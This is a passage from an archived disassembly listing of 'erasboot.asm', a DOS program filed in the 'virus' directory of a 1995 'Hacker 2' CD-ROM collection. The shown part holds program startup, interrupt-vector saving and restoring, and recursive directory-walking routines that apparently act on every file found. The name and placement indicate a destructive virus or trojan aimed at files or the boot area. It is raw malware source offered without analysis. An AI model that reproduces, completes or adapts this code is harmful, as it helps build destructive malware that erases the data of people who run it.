home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Hacker 2
/
HACKER2.mdf
/
virus
/
erasboot.asm
< prev
next >
Wrap
Assembly Source File
|
1995-01-03
|
77KB
|
3,348 lines
PAGE 59,132
;██████████████████████████████████████████████████████████████████████████
;██ ██
;██ MAXIHD ██
;██ ██
;██ Created: 1-Jan-80 ██
;██ Passes: 5 Analysis Flags on: H ██
;██ ██
;██████████████████████████████████████████████████████████████████████████
DATA_1E EQU 74H ; (0000:0074=0A4H)
DATA_2E EQU 78H ; (0000:0078=22H)
DATA_3E EQU 7CH ; (0000:007C=0)
DATA_4E EQU 80H ; (0000:0080=0F5H)
DATA_5E EQU 84H ; (0000:0084=9CEH)
DATA_6E EQU 86H ; (0000:0086=13C7H)
DATA_7E EQU 88H ; (0000:0088=723H)
DATA_8E EQU 8AH ; (0000:008A=23EAH)
DATA_9E EQU 8CH ; (0000:008C=0A70H)
DATA_10E EQU 8EH ; (0000:008E=23EAH)
DATA_11E EQU 94H ; (0000:0094=192FH)
DATA_12E EQU 98H ; (0000:0098=198CH)
DATA_13E EQU 9AH ; (0000:009A=27DH)
DATA_14E EQU 9EH ; (0000:009E=27DH)
DATA_15E EQU 232H ; (0000:0232=0)
DATA_16E EQU 234H ; (0000:0234=0)
DATA_17E EQU 236H ; (0000:0236=0)
DATA_18E EQU 23CH ; (0000:023C=0)
DATA_19E EQU 458H ; (0000:0458=0)
DATA_20E EQU 45AH ; (0000:045A=0)
DATA_21E EQU 464H ; (0000:0464=2903H)
DATA_22E EQU 4A4H ; (0000:04A4=0)
DATA_23E EQU 4A6H ; (0000:04A6=0)
DATA_24E EQU 4A8H ; (0000:04A8=0)
DATA_25E EQU 2 ; (7FC4:0002=0)
DATA_26E EQU 2CH ; (7FC4:002C=0)
DATA_27E EQU 94H ; (7FC4:0094=0)
DATA_28E EQU 9EH ; (7FC4:009E=0)
DATA_29E EQU 1D6H ; (7FC4:01D6=0CD57H)
DATA_30E EQU 1D8H ; (7FC4:01D8=21H)
DATA_31E EQU 232H ; (7FC4:0232=2FB9H)
DATA_32E EQU 37EH ; (7FC4:037E=50FFH)
DATA_33E EQU 3A6H ; (7FC4:03A6=8D50H)
DATA_34E EQU 3A8H ; (7FC4:03A8=0AE46H)
DATA_35E EQU 4A4H ; (7FC4:04A4=0AC26H)
DATA_36E EQU 4A6H ; (7FC4:04A6=8C40H)
DATA_37E EQU 4A8H ; (7FC4:04A8=87C5H)
DATA_123E EQU 0FF67H ; (8134:FF67=0)
DATA_124E EQU 0FF70H ; (8134:FF70=0)
DATA_126E EQU 0FF6AH ; (817F:FF6A=0)
DATA_127E EQU 0FF6CH ; (817F:FF6C=0)
DATA_128E EQU 0FF6EH ; (817F:FF6E=0)
DATA_129E EQU 0FF6FH ; (817F:FF6F=0)
DATA_130E EQU 0FF70H ; (817F:FF70=0)
DATA_131E EQU 0FF72H ; (817F:FF72=0)
DATA_132E EQU 0FF75H ; (817F:FF75=0)
DATA_133E EQU 0FF76H ; (817F:FF76=0)
DATA_134E EQU 0FF78H ; (817F:FF78=0)
DATA_135E EQU 0FF7BH ; (817F:FF7B=0)
DATA_136E EQU 0FF7CH ; (817F:FF7C=0)
;-------------------------------------------------------------- SEG_A ----
SEG_A SEGMENT PARA PUBLIC
ASSUME CS:SEG_A , DS:SEG_A , SS:STACK_SEG_C
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
SUB_1 PROC NEAR
SUB_1 ENDP
;██████████████████████████████████████████████████████████████████████████
;
; PROGRAM ENTRY POINT
;
;██████████████████████████████████████████████████████████████████████████
MAXIHD PROC FAR
start:
MOV DX,SEG SEG_B
MOV CS:DATA_38,DX ; (7FD4:01F8=0)
MOV AH,30H ; '0'
INT 21H ; DOS Services ah=function 30h
; get DOS version number ax
MOV BP,DS:DATA_25E ; (7FC4:0002=0)
MOV BX,DS:DATA_26E ; (7FC4:002C=0)
MOV DS,DX
assume ds:SEG_B
MOV DATA_77,AX ; (8134:0092=0)
MOV DATA_76,ES ; (8134:0090=0)
MOV WORD PTR DATA_73+2,BX ; (8134:008C=0)
MOV DATA_84,BP ; (8134:00AC=0)
MOV DATA_79,0FFFFH ; (8134:0096=0)
CALL SUB_3 ; (0162)
LES DI,DATA_73 ; (8134:008A=0) Load 32 bit ptr
MOV AX,DI
MOV BX,AX
MOV CX,7FFFH
LOC_2:
CMP WORD PTR ES:[DI],3738H
JNE LOC_3 ; Jump if not equal
MOV DX,ES:[DI+2]
CMP DL,3DH ; '='
JNE LOC_3 ; Jump if not equal
AND DH,0DFH
INC DATA_79 ; (8134:0096=0)
CMP DH,59H ; 'Y'
JNE LOC_3 ; Jump if not equal
INC DATA_79 ; (8134:0096=0)
LOC_3:
REPNE SCASB ; Rept zf=0+cx>0 Scan es:[di] for al
JCXZ LOC_6 ; Jump if cx=0
INC BX
CMP ES:[DI],AL
JNE LOC_2 ; Jump if not equal
OR CH,80H
NEG CX
MOV WORD PTR DATA_73,CX ; (8134:008A=0)
MOV CX,1
SHL BX,CL ; Shift w/zeros fill
ADD BX,8
AND BX,0FFF8H
MOV DATA_75,BX ; (8134:008E=0)
MOV DX,DS
SUB BP,DX
MOV DI,DATA_89 ; (8134:023A=1000H)
CMP DI,200H
JAE LOC_4 ; Jump if above or =
MOV DI,200H
MOV DATA_89,DI ; (8134:023A=1000H)
LOC_4:
ADD DI,4AAH
JC LOC_6 ; Jump if carry Set
ADD DI,DATA_88 ; (8134:0238=0)
JC LOC_6 ; Jump if carry Set
MOV CL,4
SHR DI,CL ; Shift w/zeros fill
INC DI
CMP BP,DI
JB LOC_6 ; Jump if below
CMP DATA_89,0 ; (8134:023A=1000H)
JE LOC_5 ; Jump if equal
CMP DATA_88,0 ; (8134:0238=0)
JNE LOC_7 ; Jump if not equal
LOC_5:
MOV DI,1000H
CMP BP,DI
JA LOC_7 ; Jump if above
MOV DI,BP
JMP SHORT LOC_7 ; (00C1)
LOC_6:
JMP LOC_10 ; (01E2)
LOC_7:
MOV BX,DI
ADD BX,DX
MOV DATA_82,BX ; (8134:00A4=0)
MOV DATA_83,BX ; (8134:00A8=0)
MOV AX,DATA_76 ; (8134:0090=0)
SUB BX,AX
MOV ES,AX
MOV AH,4AH ; 'J'
PUSH DI
INT 21H ; DOS Services ah=function 4Ah
; change mem allocation, bx=siz
POP DI
SHL DI,CL ; Shift w/zeros fill
CLI ; Disable interrupts
MOV SS,DX
MOV SP,DI
STI ; Enable interrupts
XOR AX,AX ; Zero register
MOV ES,CS:DATA_38 ; (7FD4:01F8=0)
MOV DI,464H
MOV CX,4AAH
SUB CX,DI
REP STOSB ; Rep while cx>0 Store al to es:[di]
PUSH CS
CALL WORD PTR DATA_117 ; (8134:0456=1D2H)
CALL SUB_12 ; (0390)
CALL SUB_14 ; (047B)
MOV AH,0
INT 1AH ; Real time clock ah=func 00h
; get system timer count cx,dx
MOV DS:DATA_12E,DX ; (0000:0098=198CH)
MOV DS:DATA_13E,CX ; (0000:009A=27DH)
CALL WORD PTR DS:DATA_20E ; (0000:045A=0)
PUSH WORD PTR DS:DATA_7E ; (0000:0088=723H)
PUSH WORD PTR DS:DATA_6E ; (0000:0086=13C7H)
PUSH WORD PTR DS:DATA_5E ; (0000:0084=9CEH)
CALL SUB_6 ; (01FA)
PUSH AX
CALL SUB_11 ; (035B)
MAXIHD ENDP
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
SUB_2 PROC NEAR
MOV DS,CS:DATA_38 ; (7FD4:01F8=0)
CALL SUB_4 ; (01A5)
PUSH CS
CALL WORD PTR DS:DATA_19E ; (0000:0458=0)
XOR AX,AX ; Zero register
MOV SI,AX
MOV CX,2FH
NOP
CLD ; Clear direction
LOCLOOP_8:
ADD AL,[SI]
ADC AH,0
INC SI
LOOP LOCLOOP_8 ; Loop if cx > 0
SUB AX,0D37H
NOP
JZ LOC_9 ; Jump if zero
MOV CX,19H
NOP
MOV DX,2FH
CALL SUB_5 ; (01DA)
LOC_9:
MOV BP,SP
MOV AH,4CH ; 'L'
MOV AL,[BP+2]
INT 21H ; DOS Services ah=function 4Ch
; terminate with al=return code
SUB_2 ENDP
;██████████████████████████████████████████████████████████████████████████
;
; External Entry Point
;
;██████████████████████████████████████████████████████████████████████████
INT_00H_ENTRY PROC FAR
MOV CX,0EH
NOP
MOV DX,48H
JMP LOC_11 ; (01E9)
INT_00H_ENTRY ENDP
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
SUB_3 PROC NEAR
PUSH DS
MOV AX,3500H
INT 21H ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
MOV DATA_65,BX ; (8134:0074=0)
MOV DATA_66,ES ; (8134:0076=0)
MOV AX,3504H
INT 21H ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
MOV DATA_67,BX ; (8134:0078=0)
MOV DATA_68,ES ; (8134:007A=0)
MOV AX,3505H
INT 21H ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
MOV DATA_69,BX ; (8134:007C=0)
MOV DATA_70,ES ; (8134:007E=0)
MOV AX,3506H
INT 21H ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
MOV DATA_71,BX ; (8134:0080=0)
MOV DATA_72,ES ; (8134:0082=0)
MOV AX,2500H
MOV DX,CS
MOV DS,DX
MOV DX,158H
INT 21H ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
POP DS
RETN
SUB_3 ENDP
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
SUB_4 PROC NEAR
PUSH DS
MOV AX,2500H
LDS DX,DWORD PTR DS:DATA_1E ; (0000:0074=0F0A4H) Load 32 bit ptr
INT 21H ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
POP DS
PUSH DS
MOV AX,2504H
LDS DX,DWORD PTR DS:DATA_2E ; (0000:0078=522H) Load 32 bit ptr
INT 21H ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
POP DS
PUSH DS
MOV AX,2505H
LDS DX,DWORD PTR DS:DATA_3E ; (0000:007C=0) Load 32 bit ptr
INT 21H ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
POP DS
PUSH DS
MOV AX,2506H
LDS DX,DWORD PTR DS:DATA_4E ; (0000:0080=16F5H) Load 32 bit ptr
INT 21H ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
POP DS
RETN
SUB_4 ENDP
DB 0C7H, 6, 96H, 0, 0, 0
DB 0CBH, 0C3H
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
SUB_5 PROC NEAR
MOV AH,40H ; '@'
MOV BX,2
INT 21H ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
RETN
SUB_5 ENDP
LOC_10:
MOV CX,1EH
NOP
MOV DX,56H
LOC_11:
MOV DS,CS:DATA_38 ; (7FD4:01F8=0)
CALL SUB_5 ; (01DA)
MOV AX,3
PUSH AX
CALL SUB_2 ; (0121)
DATA_38 DW 0
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
SUB_6 PROC NEAR
PUSH BP
MOV BP,SP
MOV AX,194H
PUSH AX
CALL SUB_8 ; (0290)
POP CX
MOV AX,194H
PUSH AX
CALL SUB_7 ; (0212)
POP CX
CALL SUB_9 ; (02F5)
POP BP
RETN
SUB_6 ENDP
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
SUB_7 PROC NEAR
PUSH BP
MOV BP,SP
SUB SP,0AEH
PUSH SI
PUSH DI
MOV DI,[BP+4]
PUSH DI
CALL SUB_8 ; (0290)
POP CX
MOV AX,19BH
PUSH AX
PUSH DI
MOV AX,195H
PUSH AX
LEA AX,[BP-82H] ; Load effective addr
PUSH AX
CALL SUB_51 ; (1571)
ADD SP,8
MOV AX,10H
PUSH AX
LEA AX,[BP-0AEH] ; Load effective addr
PUSH AX
LEA AX,[BP-82H] ; Load effective addr
PUSH AX
CALL SUB_49 ; (150B)
ADD SP,6
MOV SI,AX
JMP SHORT LOC_14 ; (0286)
LOC_12:
CMP BYTE PTR SS:DATA_124E[BP],2EH ; (8134:FF70=0) '.'
JE LOC_13 ; Jump if equal
TEST BYTE PTR SS:DATA_123E[BP],10H ; (8134:FF67=0)
JZ LOC_13 ; Jump if zero
LEA AX,[BP-90H] ; Load effective addr
PUSH AX
PUSH DI
MOV AX,195H
PUSH AX
LEA AX,[BP-82H] ; Load effective addr
PUSH AX
CALL SUB_51 ; (1571)
ADD SP,8
LEA AX,[BP-82H] ; Load effective addr
PUSH AX
CALL SUB_7 ; (0212)
POP CX
LOC_13:
LEA AX,[BP-0AEH] ; Load effective addr
PUSH AX
CALL SUB_50 ; (152D)
POP CX
MOV SI,AX
LOC_14:
OR SI,SI ; Zero ?
JZ LOC_12 ; Jump if zero
POP DI
POP SI
MOV SP,BP
POP BP
RETN
SUB_7 ENDP
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
SUB_8 PROC NEAR
PUSH BP
MOV BP,SP
SUB SP,7EH
PUSH SI
PUSH WORD PTR [BP+4]
LEA AX,[BP-52H] ; Load effective addr
PUSH AX
CALL SUB_33 ; (0B88)
POP CX
POP CX
MOV AX,19FH
PUSH AX
LEA AX,[BP-52H] ; Load effective addr
PUSH AX
CALL SUB_32 ; (0B4C)
POP CX
POP CX
XOR AX,AX ; Zero register
PUSH AX
LEA AX,[BP-7EH] ; Load effective addr
PUSH AX
LEA AX,[BP-52H] ; Load effective addr
PUSH AX
CALL SUB_49 ; (150B)
ADD SP,6
MOV SI,AX
JMP SHORT LOC_16 ; (02EC)
LOC_15:
LEA AX,[BP-60H] ; Load effective addr
PUSH AX
PUSH WORD PTR [BP+4]
MOV AX,195H
PUSH AX
LEA AX,[BP-52H] ; Load effective addr
PUSH AX
CALL SUB_51 ; (1571)
ADD SP,8
LEA AX,[BP-52H] ; Load effective addr
PUSH AX
CALL SUB_31 ; (0B34)
POP CX
LEA AX,[BP-7EH] ; Load effective addr
PUSH AX
CALL SUB_50 ; (152D)
POP CX
MOV SI,AX
LOC_16:
OR SI,SI ; Zero ?
JZ LOC_15 ; Jump if zero
POP SI
MOV SP,BP
POP BP
RETN
SUB_8 ENDP
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
SUB_9 PROC NEAR
PUSH BP
MOV BP,SP
SUB SP,4
MOV AX,1A4H
PUSH AX
PUSH WORD PTR [BP-2]
CALL SUB_48 ; (14F3)
POP CX
POP CX
PUSH WORD PTR [BP-4]
XOR AX,AX ; Zero register
PUSH AX
MOV AX,0CH
PUSH AX
MOV AX,2
PUSH AX
CALL SUB_52 ; (15D4)
ADD SP,8
MOV SP,BP
POP BP
RETN
SUB_9 ENDP
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
SUB_10 PROC NEAR
PUSH BP
MOV BP,SP
PUSH SI
MOV SI,[BP+4]
OR SI,SI ; Zero ?
JL LOC_19 ; Jump if <
CMP SI,58H
JBE LOC_18 ; Jump if below or =
LOC_17:
MOV SI,57H
LOC_18:
MOV DS:DATA_29E,SI ; (7FC4:01D6=0CD57H)
MOV AL,DS:DATA_30E[SI] ; (7FC4:01D8=21H)
CBW ; Convrt byte to word
XCHG AX,SI
JMP SHORT LOC_20 ; (034B)
LOC_19:
NEG SI
CMP SI,23H
JA LOC_17 ; Jump if above
MOV WORD PTR DS:DATA_29E,0FFFFH ; (7FC4:01D6=0CD57H)
LOC_20:
MOV AX,SI
MOV DS:DATA_27E,AX ; (7FC4:0094=0)
MOV AX,0FFFFH
JMP SHORT LOC_21 ; (0355)
LOC_21:
POP SI
POP BP
RETN 2
SUB_10 ENDP
DB 0C3H
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
SUB_11 PROC NEAR
PUSH BP
MOV BP,SP
JMP SHORT LOC_23 ; (036A)
LOC_22:
MOV BX,WORD PTR DS:[23CH] ; (7FC4:023C=0E246H)
SHL BX,1 ; Shift w/zeros fill
CALL WORD PTR DS:[464H][BX] ;*(7FC4:0464=0E3D1H)
LOC_23:
MOV AX,WORD PTR DS:[23CH] ; (7FC4:023C=0E246H)
DEC WORD PTR DS:[23CH] ; (7FC4:023C=0E246H)
OR AX,AX ; Zero ?
JNZ LOC_22 ; Jump if not zero
CALL WORD PTR DS:DATA_31E ; (7FC4:0232=2FB9H)
CALL WORD PTR DS:[234H] ; (7FC4:0234=9000H)
CALL WORD PTR DS:[236H] ; (7FC4:0236=2FCH)
PUSH WORD PTR [BP+4]
CALL SUB_2 ; (0121)
POP CX
POP BP
RETN
SUB_11 ENDP
DATA_39 DW 0
DATA_40 DW 0
DB 0, 0
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
SUB_12 PROC NEAR
POP CS:DATA_39 ; (7FD4:038A=0)
MOV CS:DATA_40,DS ; (7FD4:038C=0)
CLD ; Clear direction
MOV ES,DATA_76 ; (8134:0090=0)
MOV SI,80H
XOR AH,AH ; Zero register
LODS BYTE PTR ES:[SI] ; String [si] to al
INC AX
MOV BP,ES
XCHG DX,SI
XCHG AX,BX
MOV SI,WORD PTR DATA_73 ; (8134:008A=0)
ADD SI,2
MOV CX,1
CMP BYTE PTR DATA_77,3 ; (8134:0092=0)
JB LOC_24 ; Jump if below
MOV ES,WORD PTR DATA_73+2 ; (8134:008C=0)
MOV DI,SI
MOV CL,7FH
XOR AL,AL ; Zero register
REPNE SCASB ; Rept zf=0+cx>0 Scan es:[di] for al
JCXZ LOC_32 ; Jump if cx=0
XOR CL,7FH
LOC_24:
SUB SP,2
MOV AX,1
ADD AX,BX
ADD AX,CX
AND AX,0FFFEH
MOV DI,SP
SUB DI,AX
JC LOC_32 ; Jump if carry Set
MOV SP,DI
MOV AX,ES
MOV DS,AX
MOV AX,SS
MOV ES,AX
PUSH CX
DEC CX
REP MOVSB ; Rep while cx>0 Mov [si] to es:[di]
XOR AL,AL ; Zero register
STOSB ; Store al to es:[di]
MOV DS,BP
XCHG SI,DX
XCHG BX,CX
MOV AX,BX
MOV DX,AX
INC BX
LOC_25:
CALL SUB_13 ; (0419)
JA LOC_27 ; Jump if above
LOC_26:
JC LOC_33 ; Jump if carry Set
CALL SUB_13 ; (0419)
JA LOC_26 ; Jump if above
LOC_27:
CMP AL,20H ; ' '
JE LOC_28 ; Jump if equal
CMP AL,0DH
JE LOC_28 ; Jump if equal
CMP AL,9
JNE LOC_25 ; Jump if not equal
LOC_28:
XOR AL,AL ; Zero register
JMP SHORT LOC_25 ; (03FD)
;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
SUB_13:
OR AX,AX ; Zero ?
JZ LOC_29 ; Jump if zero
INC DX
STOSB ; Store al to es:[di]
OR AL,AL ; Zero ?
JNZ LOC_29 ; Jump if not zero
INC BX
LOC_29:
XCHG AH,AL
XOR AL,AL ; Zero register
STC ; Set carry flag
JCXZ LOC_RET_31 ; Jump if cx=0
LODSB ; String [si] to al
DEC CX
SUB AL,22H ; '"'
JZ LOC_RET_31 ; Jump if zero
ADD AL,22H ; '"'
CMP AL,5CH ; '\'
JNE LOC_30 ; Jump if not equal
CMP BYTE PTR [SI],22H ; '"'
JNE LOC_30 ; Jump if not equal
LODSB ; String [si] to al
DEC CX
LOC_30:
OR SI,SI ; Zero ?
LOC_RET_31:
RETN
LOC_32:
JMP LOC_10 ; (01E2)
LOC_33:
POP CX
ADD CX,DX
MOV DS,CS:DATA_40 ; (7FD4:038C=0)
MOV DS:DATA_5E,BX ; (0000:0084=9CEH)
INC BX
ADD BX,BX
MOV SI,SP
MOV BP,SP
SUB BP,BX
JC LOC_32 ; Jump if carry Set
MOV SP,BP
MOV DS:DATA_6E,BP ; (0000:0086=13C7H)
LOC_34:
JCXZ LOC_36 ; Jump if cx=0
MOV [BP],SI
ADD BP,2
LOCLOOP_35:
LODS BYTE PTR SS:[SI] ; String [si] to al
OR AL,AL ; Zero ?
LOOPNZ LOCLOOP_35 ; Loop if zf=0, cx>0
JZ LOC_34 ; Jump if zero
LOC_36:
XOR AX,AX ; Zero register
MOV [BP],AX
JMP CS:DATA_39 ; (7FD4:038A=0)
SUB_12 ENDP
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
SUB_14 PROC NEAR
MOV CX,DS:DATA_8E ; (0000:008A=23EAH)
PUSH CX
CALL SUB_19 ; (05CA)
POP CX
MOV DI,AX
OR AX,AX ; Zero ?
JZ LOC_37 ; Jump if zero
PUSH DS
PUSH DS
POP ES
MOV DS,DS:DATA_9E ; (0000:008C=0A70H)
XOR SI,SI ; Zero register
CLD ; Clear direction
REP MOVSB ; Rep while cx>0 Mov [si] to es:[di]
POP DS
MOV DI,AX
PUSH ES
PUSH WORD PTR DS:DATA_10E ; (0000:008E=23EAH)
CALL SUB_19 ; (05CA)
ADD SP,2
MOV BX,AX
POP ES
MOV DS:DATA_7E,AX ; (0000:0088=723H)
OR AX,AX ; Zero ?
JNZ LOC_38 ; Jump if not zero
LOC_37:
JMP LOC_10 ; (01E2)
LOC_38:
XOR AX,AX ; Zero register
MOV CX,0FFFFH
LOC_39:
MOV [BX],DI
ADD BX,2
REPNE SCASB ; Rept zf=0+cx>0 Scan es:[di] for al
CMP ES:[DI],AL
JNE LOC_39 ; Jump if not equal
MOV [BX],AX
RETN
SUB_14 ENDP
DB 55H, 8BH, 0ECH, 83H, 3EH, 3CH
DB 2, 20H, 75H, 5, 0B8H, 1
DB 0, 0EBH, 15H, 8BH, 46H, 4
DB 8BH, 1EH, 3CH, 2, 0D1H, 0E3H
DB 89H, 87H, 64H, 4, 0FFH, 6
DB 3CH, 2, 33H, 0C0H, 0EBH, 0
LOC_40:
POP BP
RETN
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
SUB_15 PROC NEAR
PUSH BP
MOV BP,SP
PUSH SI
PUSH DI
MOV DI,[BP+4]
MOV AX,[DI+6]
MOV DS:DATA_23E,AX ; (0000:04A6=0)
CMP AX,DI
